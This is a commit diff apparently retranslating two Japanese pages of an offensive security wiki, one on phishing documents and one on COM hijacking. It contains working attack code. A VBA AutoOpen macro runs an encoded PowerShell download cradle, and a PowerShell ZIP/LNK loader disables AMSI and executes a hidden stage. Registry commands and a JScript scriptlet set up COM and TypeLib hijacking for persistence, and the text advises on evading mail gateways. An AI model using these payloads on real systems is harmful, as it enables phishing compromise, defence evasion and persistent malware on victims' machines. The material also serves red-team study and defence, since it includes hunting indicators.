Translated ['src/windows-hardening/windows-local-privilege-escalation/co

This commit is contained in:
Translator 2025-08-28 22:48:19 +00:00
parent 1ae9d52870
commit f93d0771fd
2 changed files with 152 additions and 43 deletions

View File

@ -1,40 +1,40 @@
# フィッシングファイルとドキュメント
# Phishing Files & Documents
{{#include ../../banners/hacktricks-training.md}}
## Officeドキュメント
## Office Documents
Microsoft Wordは、ファイルを開く前にファイルデータ検証を行います。データ検証は、OfficeOpenXML標準に対してデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析中のファイルは開かれません。
Microsoft Word は、ファイルを開く前にファイルデータ検証を行います。データ検証は、OfficeOpenXML 標準に沿ったデータ構造の識別という形で行われます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。
通常、マクロを含むWordファイルは`.docm`拡張子を使用します。しかし、ファイル拡張子を変更することでファイルの名前を変更し、マクロ実行機能を保持することが可能です。\
例えば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前を変更したDOCMファイルはMicrosoft Wordによって処理され、マクロの実行が可能になります。\
同じ内部構造とメカニズムは、Microsoft Office SuiteのすべてのソフトウェアExcel、PowerPointなどに適用されます。
通常、macros を含む Word ファイルは `.docm` 拡張子を使用します。しかし、拡張子を変更してファイル名を変更しても、マクロの実行能力を保持することが可能です.\
例えば、RTF ファイルは設計上 macros をサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、macros の実行が可能になります.\
同じ内部動作とメカニズムは Microsoft Office Suite (Excel, PowerPoint etc.) のすべてのソフトウェアに適用されます。
次のコマンドを使用して、いくつかのOfficeプログラムによって実行される拡張子を確認できます:
以下のコマンドを使用して、どの拡張子がいくつかの Office プログラムによって実行されるかを確認できます:
```bash
assoc | findstr /i "word excel powerp"
```
DOCXファイルは、マクロを含むリモートテンプレートを参照することができファイル オプション アドイン 管理: テンプレート 移動)、マクロを「実行」することもできます。
macros を含むリモートテンプレートを参照する DOCX ファイルFile Options Add-ins Manage: Templates Goは、macros を“実行”することもできます。
### 外部画像の読み込み
### External Image Load
次に進む: _挿入 --> クイックパーツ --> フィールド_\
_**カテゴリ**: リンクと参照, **フィールド名**: includePicture, **ファイル名またはURL**:_ http://\<ip>/whatever
Go to: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References、**Filed names**: includePicture、および**Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### マクロバックドア
### Macros Backdoor
マクロを使用して、ドキュメントから任意のコードを実行することが可能です。
文書から任意のコードを実行するためにmacrosを使用することが可能です。
#### 自動ロード関数
#### Autoload functions
一般的であればあるほど、AVがそれを検出する可能性が高くなります。
The more common they are, the more probable the AV will detect them.
- AutoOpen()
- Document_Open()
#### マクロコードの例
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,26 +64,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### メタデータを手動で削除する
#### メタデータを手動で削除
**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査**に移動すると、ドキュメントインスペクターが表示されます。**検査**をクリックし、次に**ドキュメントのプロパティと個人情報の隣にあるすべてを削除**をクリックします。
「**File > Info > Inspect Document > Inspect Document**」に移動すると Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします。
#### ドキュメント拡張子
#### Doc 拡張子
完了したら、**ファイルの種類**のドロップダウンを選択し、形式を**`.docx`**から**Word 97-2003 `.doc`**に変更します。\
これは、**`.docx`**内にマクロを保存できず、マクロ対応の**`.docm`**拡張子には**スティグマ**があるためです(例:サムネイルアイコンには大きな`!`があり、一部のウェブ/メールゲートウェイはそれらを完全にブロックします)。したがって、この**レガシー`.doc`拡張子が最良の妥協案です**
完了したら、**Save as type** ドロップダウンで形式を **`.docx`** から **Word 97-2003 `.doc`** に変更します。\
これは、**`.docx` にマクロを保存できない**ことと、マクロ有効の **`.docm`** 拡張子にはスティグマ(例:サムネイルアイコンに大きな `!` が表示され、一部の web/メールゲートウェイが完全にブロックする) があるためです。したがって、この **レガシーな `.doc` 拡張子が最良の妥協策** です
#### 悪意のあるマクロ生成ツール
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTAファイル
## HTA ファイル
HTAは、**HTMLとスクリプト言語VBScriptやJScriptなどを組み合わせたWindowsプログラム**です。ユーザーインターフェースを生成し、ブラウザのセキュリティモデルの制約なしに「完全に信頼された」アプリケーションとして実行されます。
HTA は、HTML とスクリプト言語VBScript や JScript など)を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けずに「完全に信頼された」アプリケーションとして実行されます。
HTAは**`mshta.exe`**を使用して実行され、通常は**Internet Explorer**と一緒に**インストール**されるため、**`mshta`はIEに依存しています**。したがって、IEがアンインストールされている場合、HTAは実行できません
HTA**`mshta.exe`** を使用して実行され、通常は **Internet Explorer** とともにインストールされます。これにより **`mshta` は IE に依存** します。したがって、IE がアンインストールされている場合、HTA は実行できなくなります
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## NTLM認証の強制
## NTLM認証を強制する
**リモートでNTLM認証を強制する**方法はいくつかあります。たとえば、ユーザーがアクセスするメールやHTMLに**見えない画像**を追加することができますHTTP MitMでも。または、被害者に**フォルダを開くだけで認証をトリガーするファイルのアドレス**を送信することもできます。
**NTLM認証を「リモートで」強制する**方法はいくつかあります。例えば、ユーザがアクセスするメールやHTMLに**見えない画像**を埋め込む場合によってはHTTP MitMでもことや、被害者にフォルダを開くだけで**認証を** **トリガーする**ような**ファイルのアドレス**を送る、などです。
**以下のページでこれらのアイデアやその他を確認してください:**
**これらのアイデアやその他の情報は次のページを参照してください:**
{{#ref}}
@ -154,11 +154,62 @@ self.close
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
### NTLMリレー
### NTLM Relay
ハッシュや認証を盗むだけでなく、**NTLMリレー攻撃を実行する**こともできることを忘れないでください
ハッシュや認証情報を盗むだけでなく、**NTLM relay attacks**を実行することも可能です
- [**NTLMリレー攻撃**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLMリレーから証明書へ)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
非常に効果的なキャンペーンは、2つの正規のデコイ文書PDF/DOCXと悪意ある.lnkを含むZIPを配布します。トリックは、実際のPowerShellローダーがZIPの生バイト列中のユニークなマーカーの後に格納されており、.lnkがそれを切り出してメモリ上で完全に実行する点です。
Typical flow implemented by the .lnk PowerShell one-liner:
1) 一般的なパスDesktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレント作業ディレクトリの親から元のZIPを探す。
2) ZIPのバイトを読み取り、ハードコードされたマーカー例: xFIQCVを探す。マーカー以降が埋め込まれたPowerShellペイロードである。
3) %ProgramData%にZIPをコピーし、そこで展開して、デコイの.docxを開いて正当らしく見せる。
4) 現在のプロセスでAMSIをバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 次段階をデオブスク化(例: 全ての#文字を削除)し、メモリ上で実行する。
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
Notes
- 配信では信頼された PaaS サブドメイン(例: *.herokuapp.comを悪用することが多く、IP/UA に基づいてペイロードを制限し(良性の ZIP を返す)ことがある。
- 次段階では base64/XOR shellcode を復号化し、Reflection.Emit + VirtualAlloc 経由で実行してディスク痕跡を最小化することが多い。
Persistence used in the same chain
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリがペイロードを自動的に再起動するようにする。詳細とすぐ使えるコマンドは以下を参照:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- アーカイブデータの末尾に ASCII マーカー文字列(例: xFIQCVが追記された ZIP ファイル。
- .lnk が親/ユーザフォルダを列挙して ZIP を特定し、デコイ文書を開く。
- AMSI を [System.Management.Automation.AmsiUtils]::amsiInitFailed を使って改ざんする。
- 長時間続くビジネススレッドが、信頼された PaaS ドメインにホストされたリンクで終わる。
## References
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
### 存在しないCOMコンポーネントの検索
### 存在しない COM コンポーネントの検索
HKCUの値はユーザーによって変更可能であるため、**COM Hijacking**は**永続的なメカニズム**として使用される可能性があります。`procmon`を使用すると、攻撃者が永続化のために作成できる存在しないCOMレジストリを簡単に見つけることができます。フィルター
HKCU の値はユーザーによって変更できるため、**COM Hijacking** は **永続化の手段** として利用できます。`procmon` を使えば、攻撃者が作成して永続化に利用できる、検索されるが存在しない COM レジストリを簡単に見つけられます。フィルタ:
- **RegOpenKey**操作。
- _Result_が**NAME NOT FOUND**であること
- そして、_Path_が**InprocServer32**で終わること
- **RegOpenKey** 操作。
- その _Result_**NAME NOT FOUND** であるもの
- そして _Path_**InprocServer32** で終わるもの
どの存在しないCOMを偽装するか決定したら、次のコマンドを実行します。_数秒ごとに読み込まれるCOMを偽装することを決定した場合は、過剰になる可能性があるため注意してください。_
代わりに偽装する存在しない COM を決めたら、次のコマンドを実行します。 _数秒ごとにロードされる COM を偽装することにすると過剰になり得るので注意してください._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Hijackable Task Scheduler COM components
### ハイジャック可能なタスク スケジューラ COM コンポーネント
Windows Tasksはカスタムトリガーを使用してCOMオブジェクトを呼び出し、タスクスケジューラを通じて実行されるため、いつトリガーされるかを予測しやすくなります。
Windows Tasks は Custom Triggers を使って COM オブジェクトを呼び出します。これらは Task Scheduler を通じて実行されるため、いつトリガーされるかを予測しやすくなります。
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
出力を確認すると、例えば**ユーザーがログインするたびに実行される**ものを選択できます。
出力を確認すると、例えば **ユーザーがログインするたびに** 実行されるものを選択できます。
次に、**HKEY\CLASSES\ROOT\CLSID**およびHKLMとHKCUでCLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**を検索すると、通常、HKCUにはその値が存在しないことがわかります。
次に CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** を **HKEY\CLASSES\ROOT\CLSID** および HKLM、HKCU で検索すると、通常その値は HKCU には存在しないことがわかります。
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
その後、HKCUエントリを作成するだけで、ユーザーがログインするたびにバックドアが起動します。
その後、HKCU エントリを作成するだけで、ユーザーがログインするたびに your backdoor が起動します。
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) は COM インターフェースを定義し、`LoadTypeLib()` を介してロードされます。COM サーバーがインスタンス化されると、OS は `HKCR\TypeLib\{LIBID}` 以下のレジストリキーを参照して関連する TypeLib をロードすることがあります。TypeLib のパスが **moniker**(例: `script:C:\...\evil.sct`に置き換えられると、TypeLib が解決される際に Windows がそのスクリプトレットを実行します — これにより、一般的なコンポーネントが触れられたときに発動するステルスな永続化が得られます。
これは Microsoft Web Browser control に対して観測されており(頻繁に Internet Explorer、WebBrowser を埋め込むアプリ、そして `explorer.exe` によってロードされます)、悪用されています。
### Steps (PowerShell)
1) 頻度の高い CLSID が使用する TypeLib (LIBID) を特定する。例 CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser)。
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) ユーザーごとの TypeLib パスをローカルの scriptlet に `script:` モニカーで指定する(管理者権限は不要):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) 最小限の JScript `.sct` を配置して、primary payload を再起動させる(例: initial chain で使用される `.lnk`:
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) トリガー IE を開く、WebBrowser control を埋め込んだアプリケーションを起動する、あるいは通常の Explorer の操作を行うだけで TypeLib が読み込まれ scriptlet が実行され、logon/reboot 時にあなたの chain が再度有効化されます。
クリーンアップ
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
注意
- 同じロジックを他の使用頻度の高い COM コンポーネントにも適用できます。まず `HKCR\CLSID\{CLSID}\TypeLib` から実際の `LIBID` を解決してください。
- 64ビットシステムでは、64ビットの利用元向けに `win64` サブキーも設定できます。
## 参考資料
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}